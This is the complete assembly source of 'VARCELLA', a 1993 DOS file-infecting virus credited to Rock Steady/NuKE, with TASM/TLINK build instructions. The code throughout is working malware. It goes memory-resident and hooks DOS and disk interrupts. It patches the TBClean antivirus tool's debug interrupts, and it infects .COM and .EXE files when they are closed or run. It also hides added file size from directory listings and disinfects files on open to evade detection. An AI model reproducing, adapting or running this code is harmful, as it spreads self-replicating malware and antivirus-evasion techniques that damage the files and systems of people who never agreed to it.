;=============================================================================== ; (c) 1993 by NuKE Software Publishing, Inc. ; Developed by Rock Steady/NuKE ; ; <VARCELLA.ASM> ; ; To Compile : TASM VARCELLA; ; TLINK/T VARCELLA; ; virus_size equ last - init_virus ;virus size (bytes) seg_a segment byte public assume cs:seg_a,ds:seg_a org 100h ;compile to .com start: jmp init_virus ;------------------------------------------------------------------------------- init_virus: call doit_now ;begin virus doit_now: pop bp ;pop call offset sub bp,offset doit_now ;fix it with pointer push ax push bx ;save the registers push cx push dx push si push es push ds mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag xor dx,dx ;dx=0 mov ds,dx ;ds=0 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of dec ax mov ds,ax mov cx,0FFFFh ;cx=64k mov si,dx ;si=0 look_4_tbclean: mov ax,word ptr ds:[si] xor ax,0A5F3h je check_it ;jmp if its TBClean look_again: inc si ;if not continue looking loop look_4_tbclean jmp not_found ;not found cont normal check_it: mov ax,word ptr ds:[si+4] xor ax,0006h jne look_again ;jmp =! tbclean mov ax,word ptr ds:[si+10] xor ax,020Eh jne look_again ;jmp =! tbclean mov ax,word ptr ds:[si+12] xor ax,0C700h jne look_again ;jmp =! tbclean mov ax,word ptr ds:[si+14] xor ax,0406h jne look_again ;jmp =! tbclean mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset mov byte ptr ds:[bx+16],0CFh ;replace with IRET mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset mov byte ptr ds:[bx+16],0CFh ;replece with IRET mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints mov word ptr cs:[tb_int2][bp],bx ;vector table mov bx,word ptr ds:[si-5] ;get offset of 1st copy mov word ptr cs:[tb_ints][bp],bx ;of vector table not_found: xor dx,dx push ds mov ds,dx ;put that in ds les si,dword ptr ds:[0084h] ;get int21 vector mov word ptr cs:[int21][bp],si ;save int21 offset mov word ptr cs:[int21+2][bp],es ;save int21 segment les si,dword ptr ds:[0070h] ;get int1c vector mov word ptr cs:[int1c][bp],si ;save int1c offset mov word ptr cs:[int1c+2][bp],es ;save int1c segment les si,dword ptr ds:[004ch] ;get int13 vector mov word ptr cs:[int13][bp],si ;save int13 offset mov word ptr cs:[int13+2][bp],es ;save int13 segment pop ds mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag mov ax,0abcdh ;test if virus is here? int 13h cmp bx,0abcdh ;is it? jne install_virus ;jmp, if not & install leave_mcb: jmp exit_mem ;yes, leave then ;--------- Going Resident ------ steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal cmp al,0ffh ;memory from it! je leave_mcb ;error? exit then inc byte ptr cs:[mcb][bp] ;inc flag cmp al,01 ; ja mcb3_1 install_virus: mov ah,52h ;get the list of lists int 21h ;use dos mov ax,es:[bx-2] ;get first mcb chain mov es,ax ;es=segment of 1st mcb mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb jne mcb2 ;jmp if not clc ;yes last mcb, CLC jmp short mcbx ;outta here mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain je mcb3 ;jmp if yes stc ;error, set carry flag jmp short mcbx ;outta here mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off? je mcb3_1 ;if yes, then jmp mov dx,ds ;else cmp TB ds sub dx,9h ;ds-10 cmp word ptr es:[0001h],dx ;cmp to mcb owner. je mcbx_1 mcb3_1: mov ax,es ;ax=es add ax,word ptr es:[0003h] ;ax=es + next mcb inc ax ;get mcb mov es,ax ;es=ax:next mcb chain jmp short mcb1 ;goto first step mcbx: jc leave_mcb ;if error, exit mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h jb steal_some mov byte ptr es:[0000],'Z' ;the last mcb chain! sub word ptr es:[0003],(virus_size/16) + 11h add ax,word ptr es:[0003h] ;figure out segment inc ax ;add 16 bytes mov es,ax ;new segment in es mov di,103h ;offset is 103h push ds ;save TB ds location push cs pop ds ;virus cs=ds mov si,offset init_virus ;si=top of virus add si,bp ;add delta mov cx,virus_size ;move virus_size cld ;clear direction flag repne movsb ;do it Mr. Crunge mov ds,cx ;ds=0000 hook_again: cli ;disable ints mov word ptr ds:[0084h],offset int21_handler ;hook int21 mov word ptr ds:[0086h],es mov word ptr ds:[0070h],offset int1c_handler ;hook int1c mov word ptr ds:[0072h],es mov word ptr ds:[004ch],offset int13_handler ;hook int13 mov word ptr ds:[004eh],es sti ;enable ints cmp byte ptr cs:[tb_here][bp],00h ;was TB found? je go_on ;no, then jmp cmp cl,01h ;is this the 2nd x here? je go_on ;yes, then jmp mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment inc cl ;inc cl jmp short hook_again ;hook ints again go_on: pop ds ;get TB code segment cmp byte ptr cs:[tb_here][bp],01h ;TB here? je hook_tb_ints ;yes, then jmp jmp exit_mem ;else exit hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset mov word ptr ds:[si+84h+16],offset int21_handler mov word ptr ds:[si+86h+16],es mov word ptr ds:[si+70h+16],offset int1c_handler mov word ptr ds:[si+72h+16],es mov word ptr ds:[si+4ch+16],offset int13_handler mov word ptr ds:[si+4eh+16],es exit_mem: pop ds pop es pop si cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? je exit_exe_file ;yupe exit exe file cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? je exit_exe_file ;yupe exit exe file push cs pop ds mov bx,offset buffer ;get first 3 bytes add bx,bp ;fix delta mov ax,[bx] ;move first 2 bytes mov word ptr ds:[100h],ax ;put em in the beginning inc bx ;inc pointer inc bx mov al,[bx] ;get last of 3rd byte mov byte ptr ds:[102h],al ;put that in place pop dx pop cx pop bx pop word ptr cs:[ax_reg][bp] ;save ax else where mov ax,100h push ax ;fake a CALL & RETN mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal retn ;link to 100h exit_exe_file: mov dx,ds ;get psp=ds seg add dx,10h ;add 16bytes to seg pop word ptr cs:[ax_reg][bp] pop cx pop bx pop ax add word ptr cs:[buffer+22][bp],dx ;fix segments add dx,word ptr cs:[buffer+14][bp] cli mov ss,dx ;restore ss mov sp,word ptr cs:[buffer+16][bp] ;and sp sti mov dx,word ptr cs:[ax_reg][bp] jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. mcb db 0 ax_reg dd 0 int13 dd 0 int1c dd 0 int21 dd 0 tb_ints dd 0 tb_here db 0 tb_int2 dd 0 ;=============================================================================== ; Int 13h Handler ;=============================================================================== int13_handler: cmp ax,0abcdh ;virus test je int13_test ;yupe int13call: jmp dword ptr cs:[int13] ;original int13 int13_test: mov bx,ax ;fix iret ;=============================================================================== ; Int 1Ch Handler ;=============================================================================== int1c_handler: iret ;------------------------------------------------------------------------------- ; FCB Dir Stealth Routine (File Find) ;------------------------------------------------------------------------------- fcb_dir: call calldos21 ;get the fcb block test al,al ;test for error jnz fcb_out ;jmp if error push ax ;save registers push bx push cx push es mov ah,51h ;get current psp call calldos21 ;call int21 mov es,bx ;es=segment of psp cmp bx,es:[16h] ;psp of command.com? jnz fcb_out1 ;no, then jmp mov bx,dx ;ds:bx=fcb mov al,[bx] ;1st byte of fcb push ax ;save it mov ah,2fh ;get dta call calldos21 ;es:bx <- dta pop ax ;get first byte inc al ;al=ffh therefor al=ZR jnz fcb_old ;if != ZR jmp add bx,7h ;extended fcb here, +7 fcb_old: mov ax,es:[bx+17h] ;get file time stamp mov cx,es:[bx+19h] ;get file date stamp and ax,1fh ;unmask seconds field and cx,1fh ;unmask day of month xor ax,cx ;are they equal? jnz fcb_out1 ;nope, exit then sub word ptr es:[bx+1dh],virus_size ;sub away virus_size sbb word ptr es:[bx+1fh],0 ;sub with carry flag fcb_out1: pop es ;restore registers pop cx pop bx pop ax fcb_out: iret ;return control ;------------------------------------------------------------------------------- ; ASCIIZ Dir Stealth Routine (File Find) ;------------------------------------------------------------------------------- dta_dir: call calldos21 ;get results to dta jb dta_out ;if error, split push ax ;save register push bx push cx push es mov ah,2fh ;get current dta call calldos21 ;es:bx <- dta mov ax,es:[bx+16h] ;get file time stamp mov cx,es:[bx+18h] ;get file date stamp and ax,1fh ;unmask seconds field and cx,1fh ;unmask day of month xor ax,cx ;are they equal jnz dta_out1 ;nope, exit then sub word ptr es:[bx+1ah],virus_size ;sub away virus_size sbb word ptr es:[bx+1ch],0 ;sub with carry flag dta_out1: pop es ;restore registers pop cx pop bx pop ax dta_out: retf 0002h ;pop 2 words of stack ;=============================================================================== ; Int 21h Handler ;=============================================================================== int21_handler: cmp ah,11h ;FCB find first match je old_dir cmp ah,12h ;FCB find next match je old_dir cmp ah,4eh ;Find first match je new_dir cmp ah,4fh ;Find next match je new_dir cmp ah,3dh ;Opening a file je file_open cmp ah,6ch ;Ext_opening a file je file_ext_open cmp ah,3eh ;closing a file je file_close cmp ah,4bh ;Execution of a file je file_execute int21call: jmp dword ptr cs:[int21] ;original int21 old_dir: jmp fcb_dir ;fcb file find new_dir: jmp dta_dir ;new asciiz file find file_open: jmp open_file ;disinfect opening file file_ext_open: jmp open_ext_file ;disinfect opening file file_close: jmp close_file ;infect closing file file_execute: call check_extension ;check for ok ext cmp byte ptr cs:[com_ext],1 ;is it a com? je exec_disinfect ;yupe disinfect it cmp byte ptr cs:[exe_ext],1 ;is it a exe? je exec_disinfect ;yupe disinfect it jmp SHORT int21call exec_disinfect: call exec_disinfect1 ;Disinfect file mov word ptr cs:[ax_reg],dx pushf ;fake an int call dword ptr cs:[int21] ;call dos xchg word ptr cs:[ax_reg],dx ;restore dx mov byte ptr cs:[close],0 ;reset flag.. push ax ;store 'em push bx push cx push dx push si push di push es push ds closing_infect: mov ax,3524h ;get error handler call calldos21 ;call dos push es ;save es:bx= int_24 push bx ;error handler push ds ;ds:dx= asciiz string push dx push cs ;cs=ds pop ds mov dx,offset int21_handler ;hook error handler mov ax,2524h ;with our int24h call calldos21 pop dx ;restore ds:dx asciiz pop ds ;string cmp byte ptr cs:[close],0 ;Are we closing file? je exec_get_att ;nope, then jmp mov ax,word ptr cs:[handle] ;yupe, ax=file handle jmp exec_open_ok ;jmp so you don't open ;the file twice... exec_get_att: mov ax,4300h ;get file attribs call calldos21 ;call dos jnc exec_attrib ;no, error jmp jmp exec_exit2 ;ERROR - split exec_attrib: mov byte ptr cs:[attrib],cl test cl,1 ;check bit 0 (read_only) jz exec_attrib_ok ;if bit0=0 jmp dec cx ;else turn of bit_0 mov ax,4301h ;write new attribs call calldos21 ;call dos exec_attrib_ok: mov ax,3d02h ;open file for r/w call calldos21 ;call dos jnc exec_open_ok ;ok, no error jmp jmp exec_exit2 ;ERROR - split exec_open_ok: xchg bx,ax ;bx=file handler push cs ;cs=ds pop ds mov ax,5700h ;get file time/date call calldos21 ;call dos mov word ptr cs:[old_time],cx ;save file time mov word ptr cs:[org_time],cx mov word ptr cs:[old_date],dx ;save file date and cx,1fh ;unmask second field and dx,1fh ;unmask date field xor cx,dx ;are they equal? jnz exec_time_ok ;nope, file not infected jmp exec_exit3 ;FILE INFECTED exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits or word ptr cs:[old_time],dx ;seconds=day of month mov ax,4200h ;reset ptr to beginning xor cx,cx ;(as opened files may xor dx,dx ; have ptr anywhere, call calldos21 ; so be smart!) mov word ptr cs:[marker],0DBDBh ;File Infection marker mov dx,offset ds:[buffer] ;ds:dx buffer mov cx,18h ;read 18h bytes mov ah,3fh ;read from handle call calldos21 ;call dos jc exec_exit1 ;error? if yes jmp sub cx,ax ;did we read 18h bytes? jnz exec_exit1 ;if no exit mov dx,cx ;cx=0 dx=0 mov ax,4202h ;jmp to EOF call calldos21 ;call dos jc exec_exit1 ;error? exit if so. mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz mov word ptr cs:[filesize],dx ;save upper 16bit fileSz call chkbuf ;check if .exe jz exec_cool ;jmp if .exe file cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? jb exec_cool ;if less jmp! exec_exit1: jmp exec_exit3 ;exit! ;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- ; Mutate and infect ;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning mov cx,virus_size ;cx=virus size mov ah,40h ;write to handle call calldos21 ;call dos jc exec_exit1 ;error? if yes exit sub cx,ax ;cx=ax bytes? jnz exec_exit1 ;not equal exit mov dx,cx ;cx=0 dx=0 mov ax,4200h ;jmp to top of file call calldos21 ;call dos jc exec_exit1 ;error, then exit mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize call chkbuf ;check if .exe jnz exec_com_file ;if !=.exe jmp mov dx,word ptr cs:[filesize] ;get upper 16bit mov cx,4 ;cx=0004 mov si,word ptr cs:[buffer+8] ;get exe header size shl si,cl ;mul by 16 sub ax,si ;exe_header - filesize sbb dx,0h ;sub with carry mov cx,10h ;cx=0010 div cx ;ax=length in para ;dx=remaider mov word ptr cs:[buffer+20],dx ;New IP offset address mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) add dx,virus_size+100h ;Dx=virus_size+256 mov word ptr cs:[buffer+16],dx ;New SP entry mov word ptr cs:[buffer+14],ax ;New SS (in para) add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para mov ax,word ptr cs:[buffer+10] ;ax=min para needed cmp ax,word ptr cs:[buffer+12] ;cmp with max para jb exec_size_ok ;jmp if ok! mov word ptr cs:[buffer+12],ax ;nop, enter new max exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size add ax,virus_size ;add virus to it push ax ;push it and ah,1 ; mov word ptr cs:[buffer+2],ax ;restore new value pop ax ;pop ax mov cl,9 ; shr ax,cl ; add word ptr cs:[buffer+4],ax ;enter fileSz + header mov dx,offset buffer ;ds:dx=new exe header mov cx,18h ;cx=18h bytes to write jmp SHORT exec_write_it ;jmp... exec_com_file: sub ax,3 ;sub 3 for jmp address mov word ptr cs:[buffer+1],ax ;store new jmp value mov byte ptr cs:[buffer],0E9h ;E9h=JMP mov dx,offset buffer ;ds:dx=buffer mov cx,3 ;cx=3 bytes exec_write_it: mov ah,40h ;write to file handle call calldos21 ;call dos mov dx,word ptr cs:[old_date] ;restore old date mov cx,word ptr cs:[old_time] ;restore old time mov ax,5701h ;write back to file call calldos21 ;call dos exec_exit3: mov ah,3eh ;close file call calldos21 ;call dos exec_exit2: pop dx ;restore es:bx (the pop ds ;original int_24) mov ax,2524h ;put back to place call calldos21 ;call dos pop ds pop es pop di ;pop registers pop si pop dx xor cx,cx mov cl,byte ptr cs:[attrib] ;get old file attrib mov ax,4301h ;put them back call calldos21 ;call dos pop cx pop bx pop ax cmp byte ptr cs:[close],0 ;get called by exec? je exec_good_bye ;yep, then jmp iret ;else exit now. exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx iret ;iret ;------------------------------------------------------------------------------- ; Close File Int21h/ah=3Eh ;------------------------------------------------------------------------------- close_file: cmp bx,4h ;file handler > 4? ja close_cont ;jmp if above jmp int21call ;else exit close_cont: push ax ;save 'em push bx push cx push dx push si push di push es push ds push bx ;save file handler mov ax,1220h ;get job file table! int 2fh ;call multiplex ;es:di=JFT for handler mov ax,1216h ;get system file table mov bl,es:[di] ;bl=SFT entry int 2fh ;call multiplex pop bx ;save file handler add di,0011h mov byte ptr es:[di-0fh],02h ;set to read/write add di,0017h cmp word ptr es:[di],'OC' ;check for .COM file jne closing_next_try ;no try next ext cmp byte ptr es:[di+2h],'M' ;check last letter je closing_cunt3 ;no, file no good, exit closing_exit: jmp closing_nogood ;exit closing_next_try: cmp word ptr es:[di],'XE' ;check for .EXE file jne closing_exit ;no, exit cmp byte ptr es:[di+2h],'E' ;check last letter jne closing_exit ;no, exit closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag mov word ptr cs:[handle],bx ;save handler jmp closing_infect ;infect file! closing_nogood: pop ds ;restore 'em pop es pop di pop si pop dx pop cx pop bx pop ax jmp int21call ;good bye, baby... ;------------------------------------------------------------------------------- ; Execute Disinfecting routine ;------------------------------------------------------------------------------- exec_disinfect1 PROC push ax ;save registers push bx push cx push dx push ds mov ax,4300h ;get file attribs call calldos21 ;call dos test cl,1h ;is Read-only flag? jz okay_dis ;no, jmp attribs ok dec cx ;turn off bit 0 mov ax,4301h ;write new attribs call calldos21 ;call dos jnc okay_dis ;No error? then jmp jmp end_dis ;error? exit! okay_dis: mov ax,3d02h ;open file for r/w call calldos21 ;call dos jnc dis_fileopen ;No error? then jmp jmp end_dis ;Error? exit! dis_fileopen: xchg bx,ax ;bx=file handle mov ax,5700h ;get file time/date call calldos21 ;call dos mov word ptr cs:[old_time],cx ;save file time mov word ptr cs:[old_date],dx ;save file date and cx,1fh ;unmask second field and dx,1fh ;unmask date field xor cx,dx ;are they equal? jnz half_way ;nope, file not infected mov ax,4202h ;jmp to EOF xor cx,cx ;cx=0 xor dx,dx ;dx=0 call calldos21 ;call dos push cs ;cs=ds pop ds ; mov cx,dx ;dx:ax=file size mov dx,ax ;save to cx:dx push cx ;save upper fileSz push dx ;save lower fileSz sub dx,1Ch ;filesize-1C=origin byte sbb cx,0 ;sub with carry mov ax,4200h ;position ptr call calldos21 ;call dos mov ah,3fh ;open file mov cx,1Ch ;read last 1Ch bytes mov dx,offset org_time ;put in ds:dx call calldos21 ;call dos call chkbuf ;Did it work? je half ;Yes,Jmp cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? je half ;Yes, then jmp pop dx pop cx half_way: jmp end_dis1 ;exit, error! half: xor cx,cx ;cx=0 xor dx,dx ;dx=0 mov ax,4200h ;pointer to top of file call calldos21 ;call dos mov ah,40h ;write function mov dx,offset buffer ;ds:dx=buffer mov cx,18h ;cx=18h bytes to write call chkbuf ;check if .exe? jz SHORT dis_exe_jmp ;yupe, jmp mov cx,3h ;else write 3 bytes dis_exe_jmp: call calldos21 ;call dos pop dx ;pop original fileSz pop cx sub dx,virus_size ;Sub with virus_size sbb cx,0 ;sub with carry mov ax,4200h ;ptr top of virus call calldos21 ;call dos mov ah,40h ;write function xor cx,cx ;write 0 bytes call calldos21 ;call dos! (new EOF) mov cx,word ptr ds:[org_time] ;get original time mov dx,word ptr ds:[old_date] ;get original date mov ax,5701h ;put back to file call calldos21 ;call dos end_dis1: mov ah,3eh ;close file handle call calldos21 ;call dos end_dis: pop ds ;restore values pop dx pop cx pop bx pop ax ret exec_disinfect1 ENDP ;------------------------------------------------------------------------------- ; Open File by DOS Int21h/ah=6ch ;------------------------------------------------------------------------------- open_ext_file: push dx ;save DX mov dx,si ;asciiz=DS:DX now jmp open_ext ;jmp ;------------------------------------------------------------------------------- ; Open File by DOS Int21h/ah=3Dh ;------------------------------------------------------------------------------- open_file: push dx ;save dx (asciiz) open_ext: call check_extension ;check extension cmp byte ptr cs:[com_ext],1 ;is it a .com? je open_ok_ext ;yep, then jmp cmp byte ptr cs:[exe_ext],1 ;is it a .exe? je open_ok_ext ;yep, them jmp jmp open_exit ;ext no good, exit! open_ok_ext: call exec_disinfect1 ;disinfect file! open_exit: pop dx ;restore dx jmp int21call ;exit to dos... ;------------------------------------------------------------------------------- ; Checks Buffer (EXE) Header ;------------------------------------------------------------------------------- chkbuf PROC push si ;save register mov si,word ptr cs:[buffer] ;get first word cmp si,5A4Dh ;si=ZM? je chkbuf_ok ;if yes exit cmp si,4D5Ah ;si=MZ? chkbuf_ok: pop si ;pop register ret chkbuf ENDP ;------------------------------------------------------------------------------- ; Check file Extension ;------------------------------------------------------------------------------- check_extension PROC pushf ;save flags push cx ;save cx,si push si mov si,dx ;ds:[si]=asciiz mov cx,128 ;scan 128 bytes max mov byte ptr cs:[com_ext],0 ;reset .com flag mov byte ptr cs:[exe_ext],0 ;reset .exe flag check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." je check_ext1 ;jmp if found inc si ;else inc and loop loop check_ext ;loop me check_ext1: inc si ;inc asciiz ptr cmp word ptr ds:[si],'OC' ;is it .COM jne check_ext2 ; ~~ cmp byte ptr ds:[si+2],'M' ;is it .COM je com_file_ext ; ~ check_ext2: cmp word ptr ds:[si],'oc' ;is it .com jne check_ext3 ; ~~ cmp byte ptr ds:[si+2],'m' ;is it .com je com_file_ext ; ~ check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE jne check_ext4 ; ~~ cmp byte ptr ds:[si+2],'E' ;is it .EXE je exe_file_ext ; ~ check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe jne check_ext_exit ; ~~ cmp byte ptr ds:[si+2],'e' ;is it .exe je exe_file_ext ; ~ jmp check_ext_exit ;neither exit com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file jmp SHORT check_ext_exit ;jmp short exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file check_ext_exit: pop si ;restore pop cx popf ;save flags ret com_ext db 0 ;flag on=.com file exe_ext db 0 ;flag on=.exe file check_extension ENDP ;------------------------------------------------------------------------------- ; Original Int21h ;------------------------------------------------------------------------------- calldos21 PROC pushf ;fake int call call dword ptr cs:[int21] ;call original int_21 ret calldos21 ENDP ;=============================================================================== ; Int 24h Handler ;=============================================================================== int24_handler: mov al,3 ;don't report error... iret ;later dude... ;------------------------------------------------------------------------------- ; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS close db 0 ;closing file ;------------------------------------------------------------------------------- ; END - END - END - END - END - END - END rand_val dw 0 flags dw 0 ;Flags are saved here attrib db 0 ;file's attrib filesize dd 0 ;filesize handle dw 0 ;file handler old_date dw 0 ;file date old_time dw 0 ;file time ;------------------------------------------------------------------------------- org_time dw 0 ;original file time ;------------------------------------------------------------------------------- buffer db 0CDh,020h ; 0 (0) EXE file signature db 090h,090h ; 2 (2) Length of file db 090h,090h ; 4 (4) Size of file + header (512k) db 090h,090h ; 6 (6) # of relocation items db 090h,090h ; 8 (8) Size of header (16byte para) db 090h,090h ; A (10) Min para needed (16byte) db 090h,090h ; C (12) Max para needed (16byte) db 090h,090h ; E (14) SS reg from start in para. db 090h,090h ; 10(16) SP reg at entry db 090h,090h ; 12(18) checksum db 090h,090h ; 14(20) IP reg at entry db 090h,090h ; 16(22) CS reg from start in para. Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! last: seg_a ends end start